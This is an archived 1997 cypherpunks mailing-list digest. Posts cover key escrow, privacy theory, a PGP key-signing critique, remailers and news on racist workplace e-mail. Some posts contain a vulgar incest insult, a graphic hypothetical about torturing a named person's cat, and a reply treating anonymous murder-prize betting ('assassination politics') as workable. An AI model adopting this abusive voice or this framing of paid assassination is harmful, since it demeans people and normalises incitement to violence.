>   I can't believe it could be that common without the government
> finding a way to 'tax' it.

Def: relative humidity - the sweat on snow's balls as he fucks his sister.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Fri, 21 Mar 1997 05:51:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: [alt.best.of.cypherpunks]
Message-ID: <199703211351.OAA28208@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Thanks for the laugh.


- ------- Forwarded Message

From: snow <snow@smoke.suba.com>
Subject: Re: PGP on AOL
To: harka@nycmetro.com
Date: Fri, 21 Mar 1997 07:46:08 -0600 (CST)
Cc: cypherpunks@toad.com

> Hi there,
> I want to help a friend of mine to set up PGP. She's using Win 95 and
> is on AOL. Can anybody recommend some good shells, that would make
> make it easier for her?

	Remington .20 Gauge. Use the finest shot you can find, it tends to 
penetrate walls less.

	Good luck.


- ------- End of Forwarded Message


Zooko

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMzKSYUjbHy8sKZitAQHrUgL/TC6JSEVU8QZq00WGt0Yp76AT9pPdgog0
3IUpFE17b+QPz9Lwn1FprL6oaSnAZgz7qnuGj+nel3VNd1R/Tjfa/5qnFiDj++q7
a1+ScrPkfZKQy9DaL9VCavqvTZNoyur0
=7yuN
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 21 Mar 1997 16:23:22 -0800 (PST)
To: Eric Murray <camcc@abraxis.com
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <v03007800af58d81fe7b6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:30 PM -0800 3/21/97, Eric Murray wrote:

>That last part just floored me, how could anyone be willing to throw
>away rights like that?  At least here in the US they're not so
>obvious about it- the cash (or cars or computers) are seized and
>presumed guilty until proven innocent, and of course you can't mount a
>defense if everything you own is seized and your bank accounts frozen, but
>you're still presumed innocent.  It was that evil CASH that did it.

Well, combine this revocation of rights in Canada with today's report that
Britain plans to license crypto, and with the discussion a few weeks ago
about how Anguilla and similar countries lack formal constitutions, etc.,
and one can see what is going on: most countries are "ad hocracies," making
up rules as they go along.

For all its many faults, the United States has a strong constitution and
laws are often thrown out completely because they conflict with the U.S.
Constitution.

The danger I see is that the U.S. is moving closer every day to becoming
another ad hocracy, with the regulatory and administrative powers of the
government ever more stifling and controlling.

(By the way, on the "licensing of crypto," the U.S. is about to cause
Europe to do to itself what the U.S. is essentially unable to do within the
U.S., namely, force central control of cryptography, ban rogue use, and
basically criminalize any unauthorized use. David Aaron and Louis Freeh and
the rest of the OECD/Wasenaar/NSA cabal have done their jobs well.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Progress@utkform.com
Date: Fri, 21 Mar 1997 14:14:17 -0800 (PST)
To: Winners@everywherexyz.com
Subject: Explosion...
Message-ID: <199703212210.RAA19072@mailhost.IntNet.net>
MIME-Version: 1.0
Content-Type: text/plain


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---------------------------------------------------------------------------------------------------------
||   Do Not Hit Reply.  If you want more info, send an email
||   to: explosion1@juno.com     with 'explosion' in the subject.
||                    This is a one time email.                              
---------------------------------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Fri, 21 Mar 1997 17:13:00 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: "why privacy" revisited
Message-ID: <Pine.SUN.3.96.970321170658.21129B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


The question "why privacy" has at least two different meanings.  The first
one, "why do you value privacy for yourself" has a fairly obvious answer.
Privacy implies control over one's personal information, and more control
is clearly preferable to less.  But the question also has a second
meaning, "why do you think everyone should have more privacy?"  The answer
to this question is not so obvious.  Just because each individual wants
more privacy for himself, it doesn't follow that everyone will be better
off when everyone has more privacy.

Cypherpunks accept the idea that the widespread deployment of cryptography
will increase privacy for everyone (or at least everyone who owns a
computer and an Internet link).  They also argue that this is a good
thing.  The reason most often cited is that privacy serves as a barrier
for coercion.  But privacy is also a barrier to almost every other kind of
social relationship.  For example, economists recognize that many market
failures/inefficiencies are caused by information asymmetries (i.e., the
fact that in a potential exchange one party has more information about the
exchange than the other.  The canonical example for this is the used car
market.)  Increased privacy would seem to only exacerbate these problems.

What arguments can be made that the benefits of increased privacy outweigh
its costs, considered for society as a whole?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Fri, 21 Mar 1997 14:24:59 -0800 (PST)
To: Ilya Slavin <slavin@acf2.nyu.edu>
Subject: NYU's PGP Key-Signing Seminar - a critique
Message-ID: <Pine.LNX.3.95.970321162457.147D-300000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain

I am writing regarding the PGP Seminar to be held on the 27th of March.
Your informative session is laudible.  And, I would like to take full
advantage of the key-signing session to follow.  However, there is a
certain concern which it would be prudent to address first.

http://www.nyu.edu/pages/advocacy/awareness/pgp.html provides instructions
for the session, which state:

   "8. At the seminar Tim and Ilya will confirm the identity of all
       participants and the participants will identify their own keys.
    9. After the seminar Ilya will e-mail all the participants the
       keyring with all the keys, along with the instructions on how
       to sign them."

This conflicts with the guidelines for hosting pgp key signing sessions
as presented in the alt.security.pgp FAQ (a relevant excerpt is attached 
to this message).  The FAQ states:

   "6.  Each person securely obtains their own fingerprint, and after
       being vouched for, they then read out their fingerprint out
       loud so everyone can verify it on the printout they have."
               ~~~~~~~~

The concern I have is that this discrepancy undermines the web of trust
model for PGP.  The participants of the NYU session will not have the
opportunity for verifying the identity of the owners of the keys that
they are signing.  They must rely on a central authority ("Tim and Ilya").

I realize that this may be a simpler, and perhaps a more convenient method
of conducting a key-signing session, perhaps ideally suited to a session
aimed at novices.  However, I feel that the security provided by PGP is
thereby undermined.  We must not forget that security is the whole reason 
that even the novices at your session are using PGP for in the first place.

I hope this issue can be addressed before the session begins.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................


   6.8.  How do I organize a key signing party?

   Though the idea is simple, actually doing it is a bit complex,
   because you don't want to compromise other people's private keys or
   spread viruses (which is a risk whenever floppies are swapped
   willy-nilly).  Usually, these parties involve meeting everyone at
   the party, verifying their identity and getting key fingerprints
   from them, and signing their key at home.

   Derek Atkins <warlord@mit.edu> has recommended this method: 
     _________________________________________________________________

   There are many ways to hold a key-signing session.  Many viable
   suggestions have been given.  And, just to add more signal to this
   newsgroup, I will suggest another one which seems to work very well
   and also solves the N-squared problem of distributing and signing
   keys.  Here is the process:
    1.  You announce the keysinging session, and ask everyone who
       plans to come to send you (or some single person who *will* be
       there) their public key.  The RSVP also allows for a count of
       the number of people for step 3.
    2.  You compile the public keys into a single keyring, run "pgp
       -kvc" on that keyring, and save the output to a file.
    3.  Print out N copies of the "pgp -kvc" file onto hardcopy, and
       bring this and the keyring on media to the meeting.
    4.  At the meeting, distribute the printouts, and provide a site
       to retreive the keyring (an ftp site works, or you can make
       floppy copies, or whatever -- it doesn't matter).
    5.  When you are all in the room, each person stands up, and
       people vouch for this person (e.g., "Yes, this really is Derek
       Atkins -- I went to school with him for 6 years, and lived with
       him for 2").
    6.  Each person securely obtains their own fingerprint, and after
       being vouched for, they then read out their fingerprint out
       loud so everyone can verify it on the printout they have.
    7.  After everyone finishes this protocol, they can go home,
       obtain the keyring, run "pgp -kvc" on it themselves, and
       re-verify the bits, and sign the keys at their own leisure.
    8.  To save load on the keyservers, you can optionally send all
       signatures to the original person, who can coalate them again
       into a single keyring and propagate that single keyring to the
       keyservers and to each individual.

   This seems to work well -- it worked well at the IETF meeting last
   month in Toronto, and I plan to try it at future dates.


http://www.nyu.edu/pages/advocacy/awareness/pgp.html


                          Awareness Week 1997

                      Pretty Good Privacy Seminar

                 Thursday, March 27 at 12:00 pm Warren
                         Weaver Hall, Room 313

   [INLINE] This is a Blue-Ribbon event, CANYU will distribute Blue
   Ribbons to participants

   This seminar sponsored by the Computer Advocacy @ NYU and the
   Academic Computing Facility.  The seminar will explore the need for
   use of cryptography for communications in every day life, and
   demonstrate how PGP (Pretty Good Privacy) can be used at NYU.

   This workshop is a part was preceded by another seminar titled
   "Encryption:  Padlocks for the digital age".

   Speakers:  * Tim O'Connor * Ilya Slavin

   A key signing session will follow the seminar.  The instructions
   follow:  
    1.  If you have already created your key, skip to the
    following step.  + You can create your new key on one of the IS
    machines (and, most likely, many other computers at NYU) by
    following the steps outlined in the following document.  
    2.  Once your key is generated and signed by yourself, extract
    your public key from the key ring by typing pgp -kxat userid
    keyfile.asc where keyfile.asc is a name of the file you want to
    copy your key to. 
    3.  Send this file with your name and a mention of the seminar to
    slavin@acf2.nyu.edu before 7:00 PM on March 26, 1997.  
    4.  Ilya will compile a master keyring with all the keys before
    the seminar starts. 
    5.  Please write down (or print out) the output of the following
    command:  pgp -kvc where <userid> is your name or e-mail address
    that appears in your key. 
    6.  Ilya will have printouts of userids and fingerprints of all
    keys sent to him. 
    7.  Bring two photo IDs (either a passport or other respectable
    form of ID) to the seminar so that we can verify your identity. 
    8.  At the seminar Tim and Ilya will confirm the identity of all
    participants and the participants will identify their own keys. 
    9.  After the seminar Ilya will e-mail all the participants the
    keyring with all the keys, along with the instructions on how to
    sign them. 
    10.  Once the keys are signed, the participants will e-mail their
    signed keyrings to Ilya, who will add their signatures to the
    master keyring.  11.  As soon as Ilya receives all the signed
    keys, he will e-mail the complete keyring to all the participants,
    who can add the new signatures to their own keyrings.

     
______________________________________________________________________


    Computer Awareness Week '97 / Ilya Slavin / Last Modified:  3/6/97



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 17:27:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP Security
In-Reply-To: <199703210116.TAA12097@manifold.algebra.com>
Message-ID: <5PTX4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Mark M. wrote:
> > 
> > Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did rece
> > the following message which originated from "TruthMonger."  Shortly after I
> > received the message, anon.nymserver.com closed down all of its free,
> > anonymous accounts due to "abuse."
> > 
> 
> This is mostly addressed to jimbell: jim, it is now obvious that
> the remailer network is as weak as a 5 year old child. It cannot
> possibly withstand even mildest forms of "abuse".
> 
> Due to this fact, I question the viability of your assassination 
> politics idea as it does not seem possible to safely operate an
> assassination bot.

Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
assassinated until the end of March in some excruciatingly painful way
(say, skinned alive, soaked in acid, and cut into pieces with an
acetilene torch :-). What protocols can someone use to bet against me
and to collect the winnings? (Assume that I'll cheerfully pay up if
I lose, and that the other party wants to remain anonymous.)

Another thought just occurred to me - LEA's often advertize hotlines for
anonymous tips - a "stukach" is given a code and if his tip works, 
supposedly collects a payoff. Doesn't he have to give his ss# so his
income can be taxed?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 21 Mar 1997 10:08:36 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: encrypt_1.html
Message-ID: <858966059.116256.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> |  The fact that they are pushing key escrow must indicate that
> |someone has developed a program that they can't crack and don't
> |have a back-door to.
> |  I wonder which one it is?

This ignores the basic law of conpiracy theorism: Suspect everyone 
and everything.

I believe the current push to establish key escrow systems, which 
will inevitably lead to enforced domestic GAK in a number of 
countries is possibly a double cross. 

If mandatory GAK is introduced who will be the most likely to ignore 
the legislation and continue using non-GAK crypto? - The anarchists 
and other "terrorist" groups of course. This would seem to suggest 
the govt. is trying to lull these groups into a false sense of 
security believing their non-GAK crypto to be strong. This would in 
turn seem to suggest that the NSA, GCCS etc. have broken a number of 
currently used algorithms that are believed strong by the civilian 
research community.

At the end of the day though this is pure speculation and the spectre 
of GAK still looms over us and must be defeated, however, as 
conspiracy theories go I happen to think it is one of my more 
believable delusions....



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 17:30:06 -0800 (PST)
To: freedom-knights@ketcafe.org
Subject: Lawyers on the rampage
Message-ID: <eVuX4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Newsday: Wednesday, March 19, 1997

Postal Service Probing E-Mailed Racial Jokes

The U.S. Postal Service is investigating a risque glossary of phony
"ebonics" terms that was sent on the service's electronic mail system. A
postal workers' union labeled the e-mail a "vicious, racist message."

The list of 16 words and their supposed meanings in common parlance
among blacks is rife with sexual and racial stereotypes. It apparently
was sent by a manager in New York using an internal home page.

The list was presented as a tongue-in-cheek guide for managers to
improve communications with office staff. In a letter Friday to
Postmaster General Marvin Runyon, an American Postal Workers Union
official said Runyon's response to the incident should "send a message
to the entire postal community."

"It is a vicious, racist message covered with black humor, and any
rationalization would constitute an insult to those who it is intended
to depict," wrote William Burrus, the union's executive vice president.

A postal official agreed the message was offensive and promised a quick
investigation. "We find the content of this message to be repugnant and
highly offensive," said spokesman Roy Betts. "We have asked the postal
inspection service to immediately get to the bottom of this matter."

Two other major employers -- Morgan Stanley & Co. and Citibank -- were
sued by black employees this year over e-mail messages the employees
said contained racist jokes. The Morgan Stanley employees said the
electronic mailing created a "hostile work environment." Both companies
said they would not tolerate such behavior.

Although the Postal Service message and Burrus' letter both reached
Runyon's office, he said he had not seen them and no action was taken
until postal officials received an inquiry from a news organization late
Monday afternoon.

Betts explained that Runyon was out of the office all last week.

In addition to a stated commitment to diversity in its work force, the
Postal Service has a zero-tolerance policy for racism.

But Angelo Wider, the Postal Service's manager of revenue assurance and
national president of the Afro-American Postal League United for
Success, said: "We still have deep-seated racism in the Postal Service.
It tends to stay in the closet, but every now and then it pops out in
public."

According to Wider, only 10 percent of postal managers are minorities,
while 21 percent of the workers are minorities.

A spokesman for the American Postal Workers Union, Tom Fahey, complained
that the message was symptomatic of an attitude he said pervades Postal
Service management. "We come across communications like this all the
time, Fahey said.

Betts insisted the message "does not reflect the Postal Service's policy
and position."



Washington Post, Thursday, March 20, 1997

E-Mail Humor: Punch Lines Can Carry a Price

By Michelle Singletary

The messages regularly travel between computer screens at workplaces
across the country: Why beer is better than women. Ebonics 101. Top 10
reasons computers must be male.

For many employees e-mail has evolved into a casual electronic
conversation complete with jokes and gossip whether of the politically
correct variety or what could be deemed, particularly in the eyes of
someone of a different race or sex than the sender, as offensive.

Employees typically assume their messages are private and will be seen
only by the recipient. But because messages are routinely saved by
companies, if they end up in the hands of someone for whom they were not
intended, it's often not very funny and ultimately could be used against
the employee and the company in a bias lawsuit. It also creates a
potentially tricky civil-liberties issue for companies that don't want
to monitor employees' e-mail, but don't want to get caught up in a
lawsuit either.

In the past four months, three major U.S. corporations-- R.R. Donnelley
& Sons Co., Morgan Stanley & Co. and Citicorp's Citibank N.A.-- have
been sued by black employees alleging discrimination as a result of
messages sent via e-mail.

Lawyers and technology experts say they believe the suits are the
beginning of a wave of litigation in which employees produce e-mail
evidence of sex, race or age discrimination. Also, lawyers searching for
ways to prove or disprove discrimination routinely are asking companies
to retrieve e-mail from their computer systems.

``Employees have this expectation that e-mail is private, but it's not
and they don't understand that they can leave a footprint,'' said Frank
Connolly, a professor of computer science and information systems at
American University. ``The medium lulls you into a false sense of
security that it probably shouldn't.''

Electronic mail, or e-mail as it is commonly known, is being used by
nearly 80 percent of organizations to communicate and share ideas and
information, according to a survey released last year by the Society for
Human Resource Management. Estimates are that by the year 2000, about 40
million people in the United States will use e-mail, sending more than
60 billion messages annually.

While e-mail quickly has become a common workplace tool, only 36 percgnt
of organizations that use it have written policies addressing its use
and only 34 percent provide training on the proper and improper use of
e-mail, according to the SHRM survey.

Legal and computer experts say e-mail use has added a troubling wrinkle
to workplace discrimination. Such communication has replaced the kind of
informal lunchroom conversations that might have taken place in the
past. In fact, employees have become so comfortable with e-mail that
they say things they never would write in a memo or utter out loud for
fear of being overheard.

And, unlike spoken conversations, e-mail messages are toneless and lack
context, and consequently could be extremely damaging to a company if
used as evidence in court.

``It's one thing to have testimony in court as to an alleged
inappropriate comment made a number of years ago vs. a document where
jurors see it in black and white,'' said Stephen L. Sheinfeld, a New
York attorney who heads the labor and employment department at Whitman
Breed Abbott & Morgan.

Lawyers say workers who electronically send what might be viewed as
racist jokes could be creating what legally is considered a hostile work
environment opening themselves and their companies up to discrimination
lawsuits.

Companies, which often don't have policies on e-mail use and etiquette,
can be liable for their employees' discriminatory actions, experts say,
because legally e-mail sent from work is treated like any official
record, such as a memo written on company letterhead.

``If an executive says something in an e-mail, it's as if he sent it
through a memo,'' according to Jeffrey Neuberger, partner in the New
York law firm of Brown, Raysman & Millstein, Felder & Steiner.

As yet there isn't much case law on this issue. But plaintiffs'
attorneys could show employees were harmed emotionally by being exposed
to racist or sexist e-mail messages. Additionally, e-mail messages also
could be used against companies with spotty or bad histories for hiring
and promoting minorities and women.

``Claimants are now searching the e-mail systems looking for smoking
guns and because e-mail is unerasable, it can come back to haunt an
employer,'' Sheinfeld said.

``There is some really bad, bad stuff being sent,'' said Lauren Reiter
Brody, a partner and co-chair of the employment-practices group at
Rosenman & Colin in New York. One of the companies recently sued, R.R.
Donnelley & Sons, a Chicago printer, is battling a racial-discrimination
lawsuit based in part on 165 racial, ethnic and sexual jokes allegedly
passed through its e-mail system.

Morgan Stanley also has been sued over allegations that racist jokes
were passed between co-workers through the company's e-mail system. And,
last month, Citicorp's Citibank N.A. was sued in a class action in which
two black employees allege that white supervisors and managers exchanged
racist electronic-mail messages.

In the Citibank case, the plaintiffs alleged that because of the
electronic mail, they were subject to a ``pervasively abusive racially
hostile work environment.''

In all three cases, the companies denied wrongdoing and stated they had
taken measures to discipline employees who used the company's e-mail
system inappropriately.

In the Citibank and Morgan Stanley cases, the lawsuits allege that white
managers circulated a list of words that were used in sentences designed
to poke fun at the use of Ebonics, sometimes referred to as black
English.

In one example, submitted as part of the Citibank case, the word
``disappointment'' is capitalized and followed by the sentence: ``My
parole officer tel me if I miss disappointment they gonna send me back
to da big house.''

``This kind of joke without a doubt has no place in the workplace,''
said Stephen T. Mitchell, a Manhattan lawyer representing the two
Citibank employees who filed suit. ``You have a situation that people
that have the power to promote and the power to terminate are ridiculing
people that don't have that power.''

Mitchell said he has been contacted by more than a dozen other Citibank
employees who want to join the lawsuit.

In 1995, Chevron Corp. agreed to pay four women a total of $2.2 million
in settling a sexual-harassment suit after the plaintiffs produced,
among other evidence, e-mail containing sexist jokes about ``why beer is
better than women.''

E-mail humor reaches across gender, racial and ethnic lines. A recent
joke being circulated on the ``Top 10 reasons computers must be male,''
for example, contained as No. 10, ``They have a lot of data but are
still clueless.''

Ultimately, the heightened concern about the liability generated by
e-mail messages will cause more employers to begin monitoring the
electronic mail sent and received by their employees, legal experts
predict.

``I'm getting a lot of inquiries about e-mail monitoring,'' said D.
Michael Underhill, a partner with Morgan, Lewis & Bockius, a District of
Columbia-based law firm.

Privacy advocates, however, caution employers not to overreact in
responding to possible misuse of e-mail, saying that could cause other
problems to develop.

``Employers shouldn't monitor e-mail unless they have strong reason to
think someone is abusing it,'' said Evan Hendricks, editor of the
Privacy Times.

Legal experts recommend that workplaces have some form of monitoring
e-mail and disclose this to employees. Some experts even suggest that
companies routinely dispose of e-mail messages from backup computer
systems the way they would other sensitive documents. They also say
companies should develop immediately a written policy for e-mail and
provide training on its proper use. Most importantly, such policies
should prohibit the use of offensive language or jokes about race or
sex, they said.

Experts also caution employees of the same race and sex against sending
one another off-color jokes.

Patricia L. Morris, dean of the School of Education and Urban Studies at
Morgan State University, said off-color racial or sexual jokes reinforce
stereotypes. This is especially true for black workers who might be
passing along jokes to one another about Ebonics, for example, at
companies where African Americans are still striving to be paid and
promoted on the same basis as whites.

``We shouldn't accept it from whites and we shouldn't tolerate it at all
from each other,'' Morris said.



USA Today, Thursday, March 20, 1997

Computer-Banking Bugs Turn Off Customers

By Christine Dugas

As more people sign up for computer banking and bill paying, some banks'
systems are becoming overloaded -- causing delays and bounced checks.

The industry says it is experiencing growing pains and is fixing the
problems. But some customers are losing patience.

Richard Rosett, a professor at Rochester (N.Y.) Institute of Technology,
has been disconnected on several occasions while transmitting bill
payments to Chase Manhattan bank.

``The only way to find out if the payments went through was to call
Chase,'' he says. But then he was put on interminable hold. Once he
clocked the wait at more than an hour.

Rosett became more irate when he mistakenly was charged $21.95 in
electronic banking fees. And Chase didn't respond to his electronic mail
complaint, he says. So, he's taking his business elsewhere.

Chase, the USA's largest bank, isn't the only financial institution with
problems. ``Banks are victims of their own success,'' says Bill Burnham,
a banking consultant at Booz, Allen & Hamilton.

Since NationsBank launched its personal computer banking service a year
ago, 320,000 customers have signed on. ``We were able to keep up with
the growth until recently,'' says Smita Quinn, PC banking manager. Then
customers encountered connection delays.

They sometimes had to wait up to 10 minutes to speak to a bank
representative by phone. So NationsBank curtailed its marketing push and
beefed up its call center staff.

Chase says it also is increasing its phone staff -- from 50 people to
150 by the end of April. Ed Valenski, senior vice president in charge of
the call center, says Chase tries to resolve problems, but many are
beyond its control.

That's because Intuit Services handles payment processing and other
computer services for about 40 banks, including Chase. Connection delays
and service interruptions cropped up because the company couldn't handle
the growing volume. Intuit Services recently was sold to CheckFree, a
large national payment processor, which says it now has ironed out the
problems.

But it was too late to help Pam Toner of Fairfield, Conn. Toner says her
August home-equity loan payment didn't go through because of a glitch in
Chase's PC banking service. And the late payment ended up on the Toners'
credit report.

Now Chase is trying to clear up the mess by writing the credit agency.
To make up for such problems, the bank has sent some customers flowers.
But Toner didn't get any.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Mar 1997 15:55:19 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: UK govt. to ban PGP (was Re: UK TTP Paper)
Message-ID: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>: In Grey's words, ``All over Europe, the lights are going out''
>: 
>: Ross

There does appear to be a coordinated global action to issue 
policies on TTP, GAK and the like at this time. OECD is due to 
shortly release its crypto policy, as is the USG according to BXA.
The FBI issued its wiretap payment plan yesterday. Herson
publically admitted the EU-FBI wiretap pact.

All are apparently guided by The Wassenaar Arrangement amongst
two dozen or so countries to act in concert, and to go public with
dual-use controls in unison.

So, Clint Brooks' comment at CFP about a new policy coming out
for stronger crypto is a surely a harbinger of global GAK, in the
guise of TTP or Key Recovery, as was speculated here, and as
Rensch's statement to the House yesterday affirms.

It's a policy sure to appeal to nationalists and chauvinists: strong 
protection for a nation's interest and commerce with GAK; without
it no protection from predatory (rogue) nations (and criminals). 

But, as the Crypto AG engineer asked, "Who will protect us from NSA?"
And its predatory clients and contractors, the Germans and French and
others are asking, now that they are suffering the unilateral spying
of their highest tech "friends."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 21 Mar 1997 17:50:10 -0800 (PST)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <199703210742.XAA21100@mailmasher.com>
Message-ID: <199703220138.TAA25090@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
>   Anonymous continued:
> >   Efforts to send it through a second remailer also failed, with no
> > notice from the server of any problems being received. Other email
> > sent through the remailer at the same time encountered no difficulties.
> 
> Later the same day John Perry wrote:
> >         Due to an FBI investigation that was opened recently naming
> > myself and jpunix as suspects, I have decided that the heat taken by
> > remailer operators due to those individuals that can't control
> > themselves has become unacceptable. 
> 

Note that remailer users should admit the possibility of a government
agent being among remailer operators. I have very high regards to John
Perry personally, but believe me, it does not a lot of effort to 
subvert a more regular person. It is generally easy to find some
"crime" that normally would not be prosecuted and and then bullied
into submission.

A reasonably risk-averse remailer users should accept that probability 
and never assume that one or two remailers in a chain is enough for
anything serious. As well, I strongly object to remailer operators
openly discussing who sent what to whom (as it recently happened).

If a remailer operator discovers that a certain user is spamming his
service, he could publish a hash (not cryptographically strong) of the
offender's email address and not teh address itself.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 21 Mar 1997 17:54:34 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <199703220150.TAA25262@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
> > Mark M. wrote:
> > > 
> > > Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did rece
> > > the following message which originated from "TruthMonger."  Shortly after I
> > > received the message, anon.nymserver.com closed down all of its free,
> > > anonymous accounts due to "abuse."
> > > 
> > 
> > This is mostly addressed to jimbell: jim, it is now obvious that
> > the remailer network is as weak as a 5 year old child. It cannot
> > possibly withstand even mildest forms of "abuse".
> > 
> > Due to this fact, I question the viability of your assassination 
> > politics idea as it does not seem possible to safely operate an
> > assassination bot.
> 
> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way
> (say, skinned alive, soaked in acid, and cut into pieces with an
> acetilene torch :-). What protocols can someone use to bet against me
> and to collect the winnings? (Assume that I'll cheerfully pay up if
> I lose, and that the other party wants to remain anonymous.)

There may be a problem whish is that the bettors like yourself may be
held liable for any damages to Platt and his property. The lawyers on
this list can have more to say on that.

If there is presently no law covering that (likely there are) it is not
hard to come up with one, I believe.

Without anonymity it will not work very well. After all, if you announce
that you pay a prize to have someone murdered, your potential victim
will be able to murder you even earlier. Anonymity is crucial here.

> Another thought just occurred to me - LEA's often advertize hotlines for
> anonymous tips - a "stukach" is given a code and if his tip works, 
> supposedly collects a payoff. Doesn't he have to give his ss# so his
> income can be taxed?

They may withhold the tax at the time of payment. It does not matter
anyways since it is a payment from the government. If they do not collect
taxes from payments to stukachi, they can simply reduce the payment amounts
proportionally.

Notorious stukach Colin James III knows better anyways. Ask him.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 18:00:44 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970321205945.007d6930@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:30 PM 3/21/97 -0800, Eric Murray wrote:

[snip]

|The alternative, proposed by some goverment person (governor?) in Quebec,
was
|to suspend "individual liberties" for bikers, making it possible to
|pull one over at any time, search them, and if explosives are found
|assume they're guilty until proven innocent. 

[snip]

Isn't this the common ploy. "Hey, aren't we the civil liberterians; we were
going to take away _all_ your civil liberties. You should be PLEASED we took
only those we did. Besides, it's for your own good, and will be used _only_
to control those filthy drug-dealing bikers, not the decent citizenry."

What has the reaction been in Canada?

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzM9DiKJGkNBIH7lAQG2xwQArDZwV2oUeAbLHkGd24YPcJql9fev3GSI
rICksKuX394SQao41GfSi3u7Y0SF1et4L/EAO+wu+bRZs6eARKysJisBNIja/0er
6LT3AQX0SKaxRD1HOqrkcuKpYYd9fT8RtmQFNipJqJx54xJ9P87Wlklr3n7K1aoD
YSnO2UsTfbQ=
=4wgA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 18:13:21 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
